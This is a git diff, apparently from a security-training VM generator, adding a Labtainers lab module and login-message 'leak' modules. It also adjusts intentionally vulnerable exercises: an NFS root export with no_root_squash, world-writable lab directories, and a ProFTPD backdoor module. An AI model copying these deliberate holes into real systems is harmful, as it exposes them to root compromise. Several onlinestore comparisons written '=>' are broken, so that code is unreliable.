&right_side, count); + fprintf(debug, "after getPipeParts, cmd is %s\n", cmd); + if(left_side != NULL) + { + fprintf(debug, "left is %s\n", left_side); + } + fflush(debug); + cmd_args = split(cmd); + cmd_exec_args = cmd; + + getStdInOutFiles(cmd_args, all_args, &stdinfile, &stdoutfile); + if(count < 2) + { + // using a pty. fdm_in and fdm_out are same + if(count == 0) { + use_pty = true; + } + fdm_in = getMaster(); + if(fdm_in < 0){ + return 1; + } + fdm_out = fdm_in; + // Open the slave side ot the PTY + fds_in = open(ptsname(fdm_in), O_RDWR); + fds_out = fds_in; + fprintf(debug,"Using pty, fdm_in/out: %d\n", fdm_in); + }else{ + use_pty = false; + // master writes stdin to this for slave to consume + pipe(master_pipe_stdin); + // master reads stdout from slave + pipe(master_pipe_stdout); + + // master writes stdin to slave + fdm_in = master_pipe_stdin[1]; + // master reads stdout from slave + fdm_out = master_pipe_stdout[0]; + fprintf(debug,"Using master_pipes, fdm_in: %d fdm_out: %d\n", fdm_in, fdm_out); + + // slave reads stdin from master + fds_in = master_pipe_stdin[0]; + // slave writes stdout to master + fds_out = master_pipe_stdout[1]; + } + fflush(debug); + + // Create the child process + cmd_pid = fork(); + if (cmd_pid) + { + // parent + if(!use_pty){ + // Close the slave side of the PTY or pipe + if(count != 2){ + fprintf(debug, "parent close fds_in\n"); + close(fds_in); + }else{ + fprintf(debug, "parent close fds_in and fds_out\n"); + close(fds_in); + close(fds_out); + } + } + if(count >= 2){ + // master stdin will be from pipe_left + pipe(pipe_left_fd); + left_pid = forkLeft(pipe_left_fd, left_side); + master_stdin = pipe_left_fd[0]; + fprintf(debug, "back from forkLeft, pid is %d master_stdin read from pipe %d\n", left_pid, master_stdin); + } + if(right_side != NULL){ + pipe(pipe_right_fd); + right_pid = forkRight(pipe_right_fd, right_side); + master_stdout = pipe_right_fd[1]; + fprintf(debug, "Forked right pid is %d, master std out should go to pipe %d\n", right_pid, master_stdout); + } + stdin_fd = open(stdinfile.c_str(), O_RDWR | O_CREAT, 0644); + if(stdin_fd <=0 ){ + fprintf(stderr, "Could not open %s for writing. %d\n", stdinfile.c_str(), errno); + return 1; + } + char tmp_buf[] = "PROGRAM_ARGUMENTS is "; + char newline[] = "\n"; + write(stdin_fd, tmp_buf, strlen(tmp_buf)); + write(stdin_fd, argv[1], strlen(argv[1])); + write(stdin_fd, newline, 1); + + stdout_fd = open(stdoutfile.c_str(), O_RDWR | O_CREAT, 0644); + + + /* redirect stdout if needed */ + if((count == 0 || count >= 2) && (redirect_filename != NULL || append_filename != NULL)){ + /* Redirect or append AND + no pipe or monitored command is on right of pipe */ + the_redirect_fd = handleRedirect(redirect_filename, append_filename); + if(the_redirect_fd < 0){ + fprintf(stderr, "error from handleRedirect, exit\n"); + return 1; + } + master_stdout = the_redirect_fd; + } + fprintf(debug, "about to loop, master_stdin: %d master_stdout: %d\n", master_stdin, master_stdout); + return(ioLoop()); + } else { + + // CHILD + if(count < 2) + { + // Close the master side of the PTY + close(fdm_in); + + // match the pty to our original terminal settings + tcsetattr (fds_in, TCSANOW, &orig_termios); + latest_termios = orig_termios; + + //struct termios slave_orig_term_settings; // Saved terminal settings + //struct termios new_term_settings; // Current terminal settings + //new_term_settings = slave_orig_term_settings; + //cfmakeraw (&new_term_settings); + //tcsetattr (fds_in, TCSANOW, &new_term_settings); + //latest_termios = new_term_settings; + }else{ + close(fdm_in); + close(fdm_out); + } + + // The slave side of the PTY becomes the standard input and outputs of the child process + close(0); // Close standard input (current terminal) + close(1); // Close standard output (current terminal) + if(redirect_stderr || (redirect_filename == NULL && append_filename == NULL)){ + fprintf(debug,"cmd child closed stderr\n"); + close(2); // Close standard error (current terminal) + } + + dup(fds_in); // PTY becomes standard input (0) + dup(fds_out); // PTY becomes standard output (1) + if(redirect_stderr || (redirect_filename == NULL && append_filename == NULL)){ + fprintf(debug,"cmd child dup fds_out for stderr\n"); + dup(fds_out); // PTY becomes standard error (2) + } + + if(count < 2) + { + // Now the original file descriptor is useless + close(fds_in); + + // Make the current process a new session leader + setsid(); + + // As the child is a session leader, set the controlling terminal to be the slave side of the PTY + // (Mandatory for programs like the shell to make them manage correctly their outputs) + ioctl(0, TIOCSCTTY, 1); + } + + // Execution of the program + + /* + Get the exec arguments + */ + char **my_args = getExecCmdArgs(cmd_exec_args); + //fprintf(debug, "fork command, now exec with [0] %s [1] %s [2] %s\n", my_args[0], my_args[1], my_args[2]); + fprintf(debug, "fork command, now exec with [0] %s [1] %s \n", my_args[0], my_args[1]); + fflush(debug); + rc = execvp(my_args[0], &my_args[0]); + + /* would be error if we get here */ + fprintf(debug, "execvp error rc is %d errno %d\n", rc, errno); + + + return 1; + } + + return 0; +} // main diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/tool-src/nobuffer/pty.c b/modules/utilities/unix/labtainers/files/Labtainers-master/tool-src/nobuffer/pty.c new file mode 100644 index 000000000..31b3b2ab6 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/tool-src/nobuffer/pty.c @@ -0,0 +1,98 @@ +#define _XOPEN_SOURCE 600 +#include +#include +#include +#include +#include +#include +#include +#include +int child_pid; +FILE *masterfp; +int child_retval; +int dobuf(){ + //fprintf(stderr, "in dobuf\n"); + char line[BUFSIZ]; + while (fgets(line, BUFSIZ, masterfp) != NULL) { + /* convert ending \r\n to \n */ + int i; + for (i = 0; line[i]; i++) { + if (line[i] == '\r' && line[i+1] == '\n' && line[i+2] == '\0') { + line[i] = '\n'; + line[i+1] = '\0'; + } + } + fputs(line, stdout); + } + wait(&child_retval); + + if (child_retval) { + fprintf(stdout, "\nProgram terminated with exit code %d.\n", child_retval); + } + return child_retval; +} +void sig_handler(int signo) +{ + if (signo == SIGINT) + { + // TBD, just mask it + //fprintf(stderr, "got sigint, send to %d\n", child_pid); + //kill(child_pid, SIGINT); + //fprintf(stderr, "back from kill\n"); + dobuf(); + } +} + +int main (int argc, char * const argv[]) { + int masterfd, slavefd; + char *slavedevice; + + int child_retval; + char line[BUFSIZ]; + + if (argc < 2) { + fprintf(stderr, "Usage: ./pty [*]\n"); + return 0; + } + masterfd = posix_openpt(O_RDWR|O_NOCTTY); + if (masterfd == -1 + || grantpt(masterfd) == -1 + || unlockpt(masterfd) == -1 + || (slavedevice = ptsname(masterfd)) == NULL) { + fprintf(stderr, "Unable to open pty.\n"); + return -1; + } + + if ((child_pid = fork()) == -1) { + fprintf(stderr, "Unable to fork.\n"); + return -1; + } + + if (child_pid) { + + /* open master end of pty and unbuffer stdout */ + setvbuf(stdout, (char *) NULL, _IONBF, 0); + masterfp = fdopen(masterfd, "r"); + signal(SIGINT, sig_handler); + //fprintf(stderr, "call to dobuf\n"); + dobuf(); + } else { + /* open slave end of pty */ + slavefd = open(slavedevice, O_RDWR|O_NOCTTY); + if (slavefd < 0) { + fprintf(stderr, "Unable to open slave end.\n"); + return -1; + } + dup2(slavefd, 1); /* replace stdout with slave end of pty */ + close(masterfd); + close(slavefd); + + execvp(argv[1], &argv[1]); + + /* if execv returns, then it failed to execute the program */ + fprintf(stderr, "%s: command not found", argv[1]); + return -1; + } + + return 0; +} diff --git a/modules/utilities/unix/labtainers/files/labtainer.files/modified-install-docker-debian.sh b/modules/utilities/unix/labtainers/files/labtainer.files/modified-install-docker-debian.sh new file mode 100755 index 000000000..93f0a62a1 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/labtainer.files/modified-install-docker-debian.sh @@ -0,0 +1,90 @@ +#!/bin/bash +: <<'END' +This software was created by United States Government employees at +The Center for the Information Systems Studies and Research (CISR) +at the Naval Postgraduate School NPS. Please note that within the +United States, copyright protection is not available for any works +created by United States Government employees, pursuant to Title 17 +United States Code Section 105. This software is in the public +domain and is not subject to copyright. +END +# +#Install Docker on a Debian system, along with other packages required by Labtainers +# +# type sudo >/dev/null 2>&1 || { echo >&2 "Please install sudo. Aborting."; exit 1; } +# sudo -v || { echo >&2 "Please make sure user is sudoer. Aborting."; exit 1; } +#needed packages for Docker install +# sudo apt-get update +# sudo apt-get -y install apt-transport-https ca-certificates curl gnupg2 software-properties-common + +#adds Docker�s official GPG Key +# curl -fsSL https://download.docker.com/linux/debian/gpg | sudo apt-key add - + +#used to verify matching Key ID (optional) +#sudo apt-key fingerprint 0EBFCD88 + +#sets up stable repository +# sudo add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/debian $(lsb_release -cs) stable" + +#installs Docker:Community Edition +# sudo apt-get update +# SecGen change: repo is unauthenticated +# sudo apt-get -y --allow-unauthenticated install docker-ce + +#gives user access to docker commands +# sudo groupadd docker +# sudo usermod -aG docker $USER + +#enables and starts docker +# sudo systemctl start docker +# sudo systemctl enable docker + +#additional packages needed for labtainers +# sudo apt-get -y install python-pip +sudo pip install --upgrade pip +sudo pip install netaddr parse python-dateutil +# sudo apt-get -y install openssh-server + +#---Checking if packages have been installed. If not, the system will not reboot and allow the user to investigate. +declare -a packagelist=("apt-transport-https" "ca-certificates" "curl" "gnupg2" "software-properties-common" "docker-ce" "python-pip" "openssh-server") +packagefail="false" + +for i in "${packagelist[@]}" +do +#echo $i +packagecheck=$(dpkg -s $i 2> /dev/null | grep Status) +#echo $packagecheck + if [ "$packagecheck" != "Status: install ok installed" ]; then + if [ $i = docker-ce ];then + echo "ERROR: '$i' package did not install properly. Please check the terminal output above for any errors related to the pacakge installation. Run the install script two more times. If the issue persists, go to docker docs and follow the instructions for installing docker. (Make sure the instructions is CE and is for your Linux distribution,e.g., Ubuntu and Fedora.)" + else + echo "ERROR: '$i' package did not install properly. Please check the terminal output above for any errors related to the pacakge installation. Try installing the '$i' package individually by executing this in the command line: 'sudo apt-get install $i" + fi + packagefail="true" + #echo $packagefail + fi +done + +pipcheck=$(pip list 2> /dev/null | grep -F netaddr) +#echo $pipcheck +if [ -z "$pipcheck" ]; then + echo "ERROR: 'netaddr' package did not install properly. Please check the terminal output for any errors related to the pacakge installation. Make sure 'python-pip' is installed and then try running this command: 'sudo -H pip install netaddr' " + packagefail="true" + #echo $packagefail +fi + +pipcheck=$(pip list 2> /dev/null | grep -F parse) +#echo $pipcheck +if [ -z "$pipcheck" ]; then + echo "ERROR: 'parse' package did not install properly. Please check the terminal output for any errors related to the package installation. Make sure 'python-pip' is installed and then try running this command: 'sudo -H pip install parse' " + packagefail="true" + #echo $packagefail +fi + +if [ $packagefail = "true" ]; then + exit 1 +fi + +exit 0 + +#Notes: The �-y� after each install means that the user doesn�t need to press �y� in between each package download. The install script is based on this page: https://docs.docker.com/engine/installation/linux/docker-ce/debian/ diff --git a/modules/utilities/unix/labtainers/files/secgen-package-maintenance.md b/modules/utilities/unix/labtainers/files/secgen-package-maintenance.md new file mode 100644 index 000000000..d0c9bd83e --- /dev/null +++ b/modules/utilities/unix/labtainers/files/secgen-package-maintenance.md @@ -0,0 +1,11 @@ +Labtainers-master is master from https://github.com/mfthomps/Labtainers +# To update the version in SecGen +Download ZIP from github, and extract + + +install latex locally: +```bash +sudo apt install texlive-latex-base texlive-latex-recommended texlive-latex-extra +``` + +In each directory in docs/ run `make` to build the pdfs in place \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/labtainers.pp b/modules/utilities/unix/labtainers/labtainers.pp new file mode 100644 index 000000000..bb311d4af --- /dev/null +++ b/modules/utilities/unix/labtainers/labtainers.pp @@ -0,0 +1,2 @@ +include labtainers::install +include labtainers::config diff --git a/modules/utilities/unix/labtainers/manifests/config.pp b/modules/utilities/unix/labtainers/manifests/config.pp index dfb24ddb1..30950f963 100644 --- a/modules/utilities/unix/labtainers/manifests/config.pp +++ b/modules/utilities/unix/labtainers/manifests/config.pp @@ -3,10 +3,67 @@ class labtainers::config{ $secgen_parameters = secgen_functions::get_parameters($::base64_inputs_file) $lab = $secgen_parameters['lab'][0] + $accounts = $secgen_parameters['accounts'] - exec { 'start lab': - command => "/opt/labtainers/labtainer-student/labtainer $lab", - provider => shell, + # Set.up labtainers for each user account + unless $accounts == undef { + $accounts.each |$raw_account| { + $account = parsejson($raw_account) + $username = $account['username'] + # set home directory + if $username == 'root' { + $home_dir = "/root" + } else { + $home_dir = "/home/$username" + } + $labtainer_dir = "$home_dir/labtainer" + + file { ["$home_dir/", + "$labtainer_dir"]: + ensure => directory, + owner => $username, + group => $username, + } -> + + file { "$labtainer_dir/labtainer-student": + ensure => 'link', + target => '/opt/labtainers/scripts/labtainer-student', + } + + file_line { 'patch_path_labtainers': + path => "$home_dir/.profile", + line => 'export PATH=/opt/labtainers/scripts/labtainer-student/bin:/opt/labtainers/scripts/labtainer-instructor/bin:/opt/labtainers/scripts/labtainer-student/lab-bin/:/opt/labtainers/setup_scripts/trunk/scripts/designer/bin:$PATH', + } + file_line { 'patch_path_labtainers_dir': + path => "$home_dir/.bashrc", + line => 'export LABTAINER_DIR="/opt/labtainers/"', + } + + # autostart script + file { ["$home_dir/.config/", "$home_dir/.config/autostart/"]: + ensure => directory, + owner => $username, + group => $username, + } + + file { "$home_dir/.config/autostart/auto_start_lab.desktop": + ensure => file, + content => template('labtainers/auto_start_lab.desktop.erb'), + owner => $username, + group => $username, + } + + exec { 'download labs': + command => "sudo -u $username /opt/labtainers/setup_scripts/pull-all.sh", + cwd => "/opt/labtainers/setup_scripts/", + provider => shell, + } -> + exec { 'start lab': + command => "sudo -u $username bash -c 'source ~/.profile; echo -e \"email@addre.ss\\n\\n\" | /opt/labtainers/scripts/labtainer-student/bin/labtainer $lab -q'", + cwd => "/opt/labtainers/scripts/labtainer-student/", + provider => shell, + } + } } } diff --git a/modules/utilities/unix/labtainers/manifests/install.pp b/modules/utilities/unix/labtainers/manifests/install.pp index c140d6ea6..2c6df28f9 100644 --- a/modules/utilities/unix/labtainers/manifests/install.pp +++ b/modules/utilities/unix/labtainers/manifests/install.pp @@ -6,22 +6,40 @@ class labtainers::install{ # these are also installed by the install script, but good to use puppet where possible - package { ['apt-transport-https', 'ca-certificates', 'curl', 'gnupg2', 'software-properties-common', 'python-pip', 'openssh-server']: + package { ['apt-transport-https', 'ca-certificates', 'curl', 'gnupg2', 'software-properties-common', 'python-pip', 'openssh-server', 'python-netaddr', 'python-parse', 'python-dateutil', 'okular', 'gnome-terminal']: ensure => 'installed', } -> file { '/opt/labtainers': ensure => directory, recurse => true, - source => 'puppet:///modules/labtainers/labtainer.files', - mode => '0766', + source => 'puppet:///modules/labtainers/Labtainers-master', + mode => '0755', owner => 'root', group => 'root', } -> - - exec { 'install script': - command => '/opt/labtainers/install-labtainer.sh', + # Set permissions to enable creation of log files etc + exec { 'permissions for logging': + command => "/bin/chmod a+rwt /opt/labtainers/scripts/labtainer-student/ /opt/labtainers/scripts/labtainer-instructor/ /opt/labtainers/setup_scripts/", provider => shell, + } -> + + # not sure why this is required in our environment, but this fixes the script on our VM builds + file_line { 'patch_build_image': + path => '/opt/labtainers/scripts/labtainer-student/bin/buildImage.sh', + line => '#shift 1 -- SecGen fix', + match => 'shift 1', + } -> + + exec { 'build capinout tool': + command => "/bin/bash ./mkit.sh | true", + provider => shell, + cwd => "/opt/labtainers/tool-src/capinout" } + # pull the grading image + docker::image { "mfthomps/labtainer.grader:latest": } + + # TODO: users added to docker group? + } diff --git a/modules/utilities/unix/labtainers/secgen_metadata.xml b/modules/utilities/unix/labtainers/secgen_metadata.xml new file mode 100644 index 000000000..9fd1de797 --- /dev/null +++ b/modules/utilities/unix/labtainers/secgen_metadata.xml @@ -0,0 +1,42 @@ + + + + Labtainers: A Docker-based cyber lab framework + Z. Cliffe Schreuders + Mike Thompson - Naval Postgraduate School + GPLv3 + Labtainers include more than 40 cyber lab exercises and tools to build your own. + + lab-infrastucture + linux + + https://my.nps.edu/web/c3o/labtainers + public domain + + lab + accounts + + + shellbasics + + + + + + .*docker + + + + update + + diff --git a/modules/utilities/unix/labtainers/templates/auto_start_lab.desktop.erb b/modules/utilities/unix/labtainers/templates/auto_start_lab.desktop.erb new file mode 100644 index 000000000..354e4ebc4 --- /dev/null +++ b/modules/utilities/unix/labtainers/templates/auto_start_lab.desktop.erb @@ -0,0 +1,8 @@ +[Desktop Entry] +Name=Lab +GenericName=Labtainer lab autostart +Comment=Autostart script +Exec=bash -c 'cd /opt/labtainers/scripts/labtainer-student/; echo "Running lab <%= @lab %>"; echo -e '/n'|labtainer <%= @lab %>; bash' +Terminal=true +Type=Application +X-GNOME-Autostart-enabled=true diff --git a/modules/utilities/unix/system/after_login_message/after_login_message.pp b/modules/utilities/unix/system/after_login_message/after_login_message.pp new file mode 100644 index 000000000..ce03121be --- /dev/null +++ b/modules/utilities/unix/system/after_login_message/after_login_message.pp @@ -0,0 +1 @@ +require after_login_message::init diff --git a/modules/utilities/unix/system/after_login_message/manifests/init.pp b/modules/utilities/unix/system/after_login_message/manifests/init.pp new file mode 100644 index 000000000..d95987c56 --- /dev/null +++ b/modules/utilities/unix/system/after_login_message/manifests/init.pp @@ -0,0 +1,11 @@ +class after_login_message::init { + + $secgen_parameters = secgen_functions::get_parameters($::base64_inputs_file) + $strings_to_leak = join($secgen_parameters['strings_to_leak'], "\n") + + file_line { "$strings_to_leak leak login": + path => '/etc/bash.bashrc', + line => "cat <<'EOF'\n$strings_to_leak\nEOF", + } + +} diff --git a/modules/utilities/unix/system/after_login_message/secgen_metadata.xml b/modules/utilities/unix/system/after_login_message/secgen_metadata.xml new file mode 100644 index 000000000..b4b7596f9 --- /dev/null +++ b/modules/utilities/unix/system/after_login_message/secgen_metadata.xml @@ -0,0 +1,20 @@ + + + + After Login Message + Z. Cliffe Schreuders + MIT + Leak/display a message after the user even logs in at terminal. + + system + linux + + strings_to_leak + + + + + + diff --git a/modules/utilities/unix/system/before_login_message/before_login_message.pp b/modules/utilities/unix/system/before_login_message/before_login_message.pp new file mode 100644 index 000000000..61cfef214 --- /dev/null +++ b/modules/utilities/unix/system/before_login_message/before_login_message.pp @@ -0,0 +1 @@ +require before_login_message::init diff --git a/modules/utilities/unix/system/before_login_message/manifests/init.pp b/modules/utilities/unix/system/before_login_message/manifests/init.pp new file mode 100644 index 000000000..a62f006bc --- /dev/null +++ b/modules/utilities/unix/system/before_login_message/manifests/init.pp @@ -0,0 +1,14 @@ +class before_login_message::init { + + $secgen_parameters = secgen_functions::get_parameters($::base64_inputs_file) + $strings_to_leak = join($secgen_parameters['strings_to_leak'], "\n") + + file_line { "$strings_to_leak leak": + path => '/etc/issue', + line => $strings_to_leak, + } + file_line { "$strings_to_leak net leak": + path => '/etc/issue.net', + line => $strings_to_leak, + } +} diff --git a/modules/utilities/unix/system/before_login_message/secgen_metadata.xml b/modules/utilities/unix/system/before_login_message/secgen_metadata.xml new file mode 100644 index 000000000..2e0d04c77 --- /dev/null +++ b/modules/utilities/unix/system/before_login_message/secgen_metadata.xml @@ -0,0 +1,20 @@ + + + + Before Login Message + Z. Cliffe Schreuders + MIT + Leak/display a message before the user even logs in, at terminal and/or ssh. + + system + linux + + strings_to_leak + + + + + + diff --git a/modules/vulnerabilities/unix/ftp/proftpd_133c_backdoor/manifests/config.pp b/modules/vulnerabilities/unix/ftp/proftpd_133c_backdoor/manifests/config.pp index 6a80956c7..2790f0664 100644 --- a/modules/vulnerabilities/unix/ftp/proftpd_133c_backdoor/manifests/config.pp +++ b/modules/vulnerabilities/unix/ftp/proftpd_133c_backdoor/manifests/config.pp @@ -1,6 +1,9 @@ class proftpd_133c_backdoor::config { $secgen_parameters = secgen_functions::get_parameters($::base64_inputs_file) $raw_org = $secgen_parameters['organisation'] + $leaked_filenames = $secgen_parameters['leaked_filenames'] + $strings_to_leak = $secgen_parameters['strings_to_leak'] + if $raw_org and $raw_org[0] and $raw_org[0] != '' { $organisation = parsejson($raw_org[0]) } else { @@ -13,4 +16,12 @@ class proftpd_133c_backdoor::config { mode => '0644', content => template('proftpd_133c_backdoor/proftpd.erb') } -} \ No newline at end of file + + ::secgen_functions::leak_files { 'proftpd_133c_backdoor-file-leak': + storage_directory => '/root', + leaked_filenames => $leaked_filenames, + strings_to_leak => $strings_to_leak, + leaked_from => "proftpd_133c_backdoor", + mode => '0600' + } +} diff --git a/modules/vulnerabilities/unix/ftp/proftpd_133c_backdoor/secgen_metadata.xml b/modules/vulnerabilities/unix/ftp/proftpd_133c_backdoor/secgen_metadata.xml index 828af3502..9c0c4050c 100644 --- a/modules/vulnerabilities/unix/ftp/proftpd_133c_backdoor/secgen_metadata.xml +++ b/modules/vulnerabilities/unix/ftp/proftpd_133c_backdoor/secgen_metadata.xml @@ -19,6 +19,7 @@ server_name strings_to_leak + leaked_filenames welcome_msg port @@ -35,8 +36,11 @@ - + + + + @@ -64,4 +68,4 @@ update - \ No newline at end of file + diff --git a/modules/vulnerabilities/unix/ftp/proftpd_133c_backdoor/templates/proftpd.erb b/modules/vulnerabilities/unix/ftp/proftpd_133c_backdoor/templates/proftpd.erb index e1556a48a..5e5896138 100644 --- a/modules/vulnerabilities/unix/ftp/proftpd_133c_backdoor/templates/proftpd.erb +++ b/modules/vulnerabilities/unix/ftp/proftpd_133c_backdoor/templates/proftpd.erb @@ -40,7 +40,7 @@ ListOptions "-l" DenyFilter \*.*/ -AccessGrantMsg "<%=$welcome_msg%> +AccessGrantMsg "<%=$welcome_msg.gsub("\n", '\n')%>" # Use this to jail all users in their homes # DefaultRoot ~ diff --git a/modules/vulnerabilities/unix/misc/nc_backdoor_chroot_esc/secgen_metadata.xml b/modules/vulnerabilities/unix/misc/nc_backdoor_chroot_esc/secgen_metadata.xml index f5e03ea09..6f2c72787 100644 --- a/modules/vulnerabilities/unix/misc/nc_backdoor_chroot_esc/secgen_metadata.xml +++ b/modules/vulnerabilities/unix/misc/nc_backdoor_chroot_esc/secgen_metadata.xml @@ -42,6 +42,11 @@ Connect to a port, you will find yourself in a chroot. Connecting to the right port will give you a root shell. You can misuse /proc to escape. + + + .*chroot_debootstrap + + update diff --git a/modules/vulnerabilities/unix/nfs/nfs_rootshare/templates/exports.erb b/modules/vulnerabilities/unix/nfs/nfs_rootshare/templates/exports.erb index 1f39f33d7..524ab1955 100644 --- a/modules/vulnerabilities/unix/nfs/nfs_rootshare/templates/exports.erb +++ b/modules/vulnerabilities/unix/nfs/nfs_rootshare/templates/exports.erb @@ -2,7 +2,7 @@ # to NFS clients. See exports(5). # # Example for NFSv2 and NFSv3: - / *(rw,sync,no_subtree_check) + / *(rw,sync,no_subtree_check,no_root_squash) # # Example for NFSv4: diff --git a/modules/vulnerabilities/unix/webapp/gitlist_040/manifests/configure.pp b/modules/vulnerabilities/unix/webapp/gitlist_040/manifests/configure.pp index d875fc02d..7b34bc759 100644 --- a/modules/vulnerabilities/unix/webapp/gitlist_040/manifests/configure.pp +++ b/modules/vulnerabilities/unix/webapp/gitlist_040/manifests/configure.pp @@ -5,6 +5,33 @@ class gitlist_040::configure { $images_to_leak = $secgen_parameters['images_to_leak'] $leaked_files_path = '/home/git/repositories/secret_files' + # when there are multiple strings to leak: + # leak the first one as a flag, requiring exploitation to access; + # leak the subsequent ones publically through the website; + + if $strings_to_leak.length == 0 { + warning('No strings_to_leak provided!') + } elsif $strings_to_leak.length == 1 { + warning("Only one string to leak provided, publically showing a default message.") + + $flag = [$strings_to_leak[0]] + $flag_filename = [$leaked_filenames[0]] + + $public_strings_to_leak = ["Nothing to see here."] + $public_strings_to_leak_filename = $leaked_filenames[1, -1] + } else { # more than 1 strings_to_leak + warning("One string to leak will require exploitation, others will be publically shown.") + $flag = [$strings_to_leak[0]] + $flag_filename = [$leaked_filenames[0]] + + # all but the first elements (used above already) + $public_strings_to_leak = $strings_to_leak[1, -1] + $public_strings_to_leak_filename = $leaked_filenames[1, -1] + } + + + $git_args = '-c user.name="gitlist" -c user.email="git@list.com"' + Exec { path => ['/bin', '/usr/bin', '/usr/local/bin', '/sbin', '/usr/sbin'] } # Create /home/git/repositories @@ -23,12 +50,6 @@ class gitlist_040::configure { command => "git init", } - $flag = [$strings_to_leak[0]] - $flag_filename = [$leaked_filenames[0]] - # all but the first elements (used above already) - $public_strings_to_leak = $strings_to_leak[1, -1] - $public_strings_to_leak_filename = $leaked_filenames[1, -1] - ::secgen_functions::leak_files { 'gitlist_040-flag-leak': storage_directory => '/home/git', leaked_filenames => $flag_filename, @@ -50,8 +71,6 @@ class gitlist_040::configure { before => Exec['initial_commit_leaked_files_repo'] } - $git_args = '-c user.name="gitlist" -c user.email="git@list.com"' - exec { 'initial_commit_leaked_files_repo': cwd => $leaked_files_path, command => "git $git_args add *; git $git_args commit -a -m 'initial commit'", diff --git a/modules/vulnerabilities/unix/webapp/gitlist_040/secgen_metadata.xml b/modules/vulnerabilities/unix/webapp/gitlist_040/secgen_metadata.xml index 2e1f85951..576fe6b90 100644 --- a/modules/vulnerabilities/unix/webapp/gitlist_040/secgen_metadata.xml +++ b/modules/vulnerabilities/unix/webapp/gitlist_040/secgen_metadata.xml @@ -49,6 +49,11 @@ exploit/linux/http/gitlist_exec Visit the webapp in a browser at: ip:80/gitlist + + + webapp + + .*apache.*compatible.* diff --git a/modules/vulnerabilities/unix/webapp/moinmoin_195/manifests/config.pp b/modules/vulnerabilities/unix/webapp/moinmoin_195/manifests/config.pp index 5078b4aeb..8dee68c2c 100644 --- a/modules/vulnerabilities/unix/webapp/moinmoin_195/manifests/config.pp +++ b/modules/vulnerabilities/unix/webapp/moinmoin_195/manifests/config.pp @@ -52,6 +52,7 @@ class moinmoin_195::config { storage_directory => "/usr/local/share/moin/data/pages/$default_page/attachments", images_to_leak => $images_to_leak, leaked_from => "moinmoin_195", + owner => "www-data" } @@ -64,4 +65,4 @@ class moinmoin_195::config { } ensure_resource('tidy','moinmoin remove default site', {'path'=>'/etc/apache2/sites-enabled/000-default.conf'}) -} \ No newline at end of file +} diff --git a/modules/vulnerabilities/unix/webapp/moinmoin_195/secgen_metadata.xml b/modules/vulnerabilities/unix/webapp/moinmoin_195/secgen_metadata.xml index c7d47b679..e9d6b89c8 100644 --- a/modules/vulnerabilities/unix/webapp/moinmoin_195/secgen_metadata.xml +++ b/modules/vulnerabilities/unix/webapp/moinmoin_195/secgen_metadata.xml @@ -33,6 +33,7 @@ 80 + This is some leaked data. @@ -69,6 +70,11 @@ Path traversal found in AttachFile module. + + + webapp + + .*Stretch.* @@ -79,4 +85,4 @@ - \ No newline at end of file + diff --git a/modules/vulnerabilities/unix/webapp/onlinestore/files/mysql_setup.sh b/modules/vulnerabilities/unix/webapp/onlinestore/files/mysql_setup.sh index 8e158345f..06fc2362c 100644 --- a/modules/vulnerabilities/unix/webapp/onlinestore/files/mysql_setup.sh +++ b/modules/vulnerabilities/unix/webapp/onlinestore/files/mysql_setup.sh @@ -2,11 +2,10 @@ USERNAME=${1} PASSWORD=${2} -token=${3} echo "CREATE USER '${USERNAME}'@'localhost' IDENTIFIED BY '${PASSWORD}';"| mysql --force echo "GRANT ALL PRIVILEGES ON * . * TO '${USERNAME}'@'localhost';"| mysql --force echo "CREATE DATABASE csecvm;"| mysql --user=${USERNAME} --password=${PASSWORD} --force mysql --force --user=${USERNAME} --password=${PASSWORD} csecvm < ./csecvm.sql -echo "USE csecvm; INSERT INTO token VALUES ('${token}');" | mysql --force --user=${USERNAME} --password=${PASSWORD} \ No newline at end of file +echo "USE csecvm;" | mysql --force --user=${USERNAME} --password=${PASSWORD} \ No newline at end of file diff --git a/modules/vulnerabilities/unix/webapp/onlinestore/manifests/install.pp b/modules/vulnerabilities/unix/webapp/onlinestore/manifests/install.pp index 8cc7d0041..7ecb0be66 100644 --- a/modules/vulnerabilities/unix/webapp/onlinestore/manifests/install.pp +++ b/modules/vulnerabilities/unix/webapp/onlinestore/manifests/install.pp @@ -2,12 +2,6 @@ class onlinestore::install { $secgen_parameters = secgen_functions::get_parameters($::base64_inputs_file) # Parse out parameters - $db_flag = $secgen_parameters['strings_to_leak'][0] - $admin_flag = $secgen_parameters['strings_to_leak'][1] - $command_injection_flag = $secgen_parameters['strings_to_leak'][2] - $black_market_flag = $secgen_parameters['strings_to_leak'][3] - $admin_token_flag = $secgen_parameters['strings_to_leak'][4] - $pony_products_flag = $secgen_parameters['strings_to_leak'][5] $accounts = $secgen_parameters['accounts'] $domain = $secgen_parameters['domain'][0] $dealer_id = $secgen_parameters['dealer_id'][0] @@ -16,6 +10,44 @@ class onlinestore::install { $murdered_ids = $secgen_parameters['murdered_ids'] $db_password = $secgen_parameters['db_password'][0] + $strings_to_leak = $secgen_parameters['strings_to_leak'] + $success_placeholder = "Well done. Nothing to see here." + if length($strings_to_leak) >= 1 { + $db_flag = $secgen_parameters['strings_to_leak'][0] + } else { + $db_flag = $success_placeholder + } + if length($strings_to_leak) => 2 { + $admin_flag = $secgen_parameters['strings_to_leak'][1] + } else { + $admin_flag = $success_placeholder + } + if length($strings_to_leak) => 3 { + $command_injection_flag = $secgen_parameters['strings_to_leak'][2] + } else { + $command_injection_flag = $success_placeholder + } + if length($strings_to_leak) => 4 { + $black_market_flag = $secgen_parameters['strings_to_leak'][3] + } else { + $black_market_flag = $success_placeholder + } + if length($strings_to_leak) => 5 { + $admin_token_flag = $secgen_parameters['strings_to_leak'][4] + } else { + $admin_token_flag = $success_placeholder + } + if length($strings_to_leak) == 6 { + $pony_products_flag = $secgen_parameters['strings_to_leak'][5] + } elsif $strings_to_leak.length > 6 { + alert("Warning, too many strings_to_leak. Extras have been combined to a single string") + $pony_products_flag = join($secgen_parameters['strings_to_leak'][5,-1],"---") + } else { + alert("Warning, not enough strings_to_leak. Placeholders are being used.") + $pony_products_flag = $success_placeholder + } + + $docroot = '/var/www/onlinestore' $db_username = 'csecvm' @@ -83,7 +115,7 @@ class onlinestore::install { exec { 'setup_mysql': cwd => "/tmp", - command => "sudo ./mysql_setup.sh $db_username $db_password $db_flag", + command => "sudo ./mysql_setup.sh $db_username $db_password", path => 